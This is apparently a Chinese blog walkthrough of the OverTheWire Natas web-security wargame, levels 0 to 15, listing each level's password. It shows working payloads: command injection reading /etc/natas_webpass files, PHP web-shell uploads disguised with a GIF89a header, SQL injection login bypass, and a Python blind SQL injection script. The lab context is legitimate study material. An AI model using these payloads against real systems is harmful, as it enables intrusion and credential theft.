natas通关手册

前几天看博客发现了一个很不错的网站,natas overthewire是一个和web安全相关的CTF网站,题目设计的还是很精巧的,很值得我们这些学习web安全的做一做。
地址:http://overthewire.org/wargames/natas/

level 0
直接查看源代码,即可从注释中看到密码;

1
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

level 1
登录进去发现禁止右键,但是可以F12进行审查元素或者查看源代码快捷方式Ctrl+U,密码还是在注释里面。

1
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

level 2
查看源代码什么也没有发现,就发现有一张图片,想想看看能不能查看files这个目录,结果files目录没有禁止访问,发现files目录下有一个uesrs.txt,打开就有密码。

1
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

level 3
也是第一反应查看原代码,可是并没有提示。注意这里,Not even google will find it ,说明搜索引擎不会抓取这个相关的页面,说明存在robots.txt。访问之http://natas3.natas.labs.overthewire.org/robots.txt发现一个s3cr3t的目录打开发现一个users.txt 得到密码。

1
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

level 4
页面提示You are visiting from “http://natas4.natas.labs.overthewire.org/index.php“ while authorized users should come only from “http://natas5.natas.labs.overthewire.org/,需要我们从natas5页面来访问natas4的页面,我们可以使用burp抓包,增加一个Referer头来指定当前页面来自哪里,即可得到密码。

1
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

level 5
发现是一个登录界面,但是提示你没有登录,可以burp抓包进行查看。一般登录验证身份或者状态都是通过cookie,发现cookie参数的一个loggedin的值为0.试着改为1试试看,提示登录成功,得到密码。

1
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

level 6
登录发现是一个post提交的地方,还可以查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>

大体就是提交一个数字与include文件里的内容进行对比。尝试访问includes/secret.inc,竟然明晃晃的$secret = “FOEIUWGHFEEUHOFUOIU”;,那么直接输入进去就可以得到密码。

1
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

level 7
登录进去就两个没有什么内容的链接,但是链接很有意思?page=home和?page=home,还有提示hint: password for webuser natas8 is in /etc/natas_webpass/natas8,那肯定就是目录遍历咯,?page=/etc/natas_webpass/natas8,得到密码;

1
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

level 8
登录进去发现又是一个post提交的表单,查看关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

bin2hex函数 将二进制数据转换成十六进制表示
strrev() 函数反转字符串
已经告诉了我们encodedSecret的值,以及加密方式已经给出,我们可以到着密码方式来,这样可以得到我们需要输入的。

1
2
3
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

得到oubWYf2kBq,输入直接得到密码。

1
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

level 9
登录发现又是一个输入框,查看关键代码:

1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>

发现passthru()函数,它同exec()函数system()函数类似, 也是用来执行外部命令(command)的。提交的参数作为$key执行grep -i $key dictionary.txt命令,想到肯定是命令执行漏洞了。
首先就是截断grep命令,可是使用;进行截断,然后根据前面目录遍历的思路查看/etc/natas_webpass/natas9文件,即输入;cat /etc/natas_webpass/natas10 #,得到密码。

1
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

level 10
和上一个题目差不多,但就是过滤了; | & 三个符号,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>

不能够截断grep了,只能使用grep进行搜索了,根据前面做的题目一直密码都是大小写,我们可以搜索大小字母得到密码,即输入[a-zA-Z] /etc/natas_webpass/natas11 #或者匹配所有.* /etc/natas_webpass/natas11 #,得到密码。

1
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

level 11

1
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

level 12
登录发现是一道文件上传类型的题目,查看源代码,发现并未设置文件类型检测,上传后还会告诉我们路径,那么直接上传一个php文件,然后根据路径访问得到密码。

1
2
3
<?php
passthru('cat /etc/natas_webpass/natas13');
?>

刚开始的时候一直被重命名为jpg,一直很懵逼,然后抓包发现参数k24yezk2tm.jpg,就试着修改为k24yezk2tm.php,则上传上去的就会重名为.php文件。

1
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

level 13
登录可以看到使用exif_imagetype()来读取文件的第一个字节并检查其签名,判断是否为图像类型说明。
那么我们可以在php文件前面添加上jpg图像的前几个字节用来逃避exif_imagetype()函数的验证。其他过程和第一步类似。

1
2
3
4
GIF89a
<?php
passthru('cat /etc/natas_webpass/natas14');
?>

得到密码。

1
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

level 14
登录进去是一个登录界面,第一反应就是试试常见的登录名、密码等弱口令,第二个就是万能密码,第三就是进行注入了,登录名随便,密码为” OR 1=1 #,即可登录成功拿到密码。

1
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

level 15
登录进去也是一个登录的界面,随便输入都是一样的错误提示,当我们输入natas16的时候它会提示用户存在,只给了一个能够判断用户是否存在的东西因此只有通过爆破来攻击。可能我们下一关的用户名和密码存储在数据库中,可以通过错误的提示来判断查询的结果,得出密码。采用sql盲注的技术。
查看源代码查询语句为$query = “SELECT from users where username=\””.$_REQUEST[“username”].”\””;*,我们可以构造查询password的语句,通过查询的结果盲注出密码。即输入

1
SELECT * from users where username=\"natas16\" and 32 < ascii(mid(password,1,1)) and \"\" like \"\"

sql盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
import requests
url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
key = ""
for pwd in range(34):
low = 32
high = 126
mid = (low+high)>>1 #使用二分法快速查找
while mid<high:
#构造查询password来进行匹配
payload=" natas16\" and %d < ascii(mid(password,%d,1)) and \"\" like \"" %(mid,pwd)
req = requests.post(url, auth = requests.auth.HTTPBasicAuth(username,password),data={"username":payload})
#对返回结果进行判断
if req.text.find("doesn't exist")==-1:
low = mid+1
else:
high=mid
mid = (high+low)>>1 #继续二分进行查找
key+=chr(mid)
print key

这样就会根据盲注脚本找到密码

1
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

level 16

level 17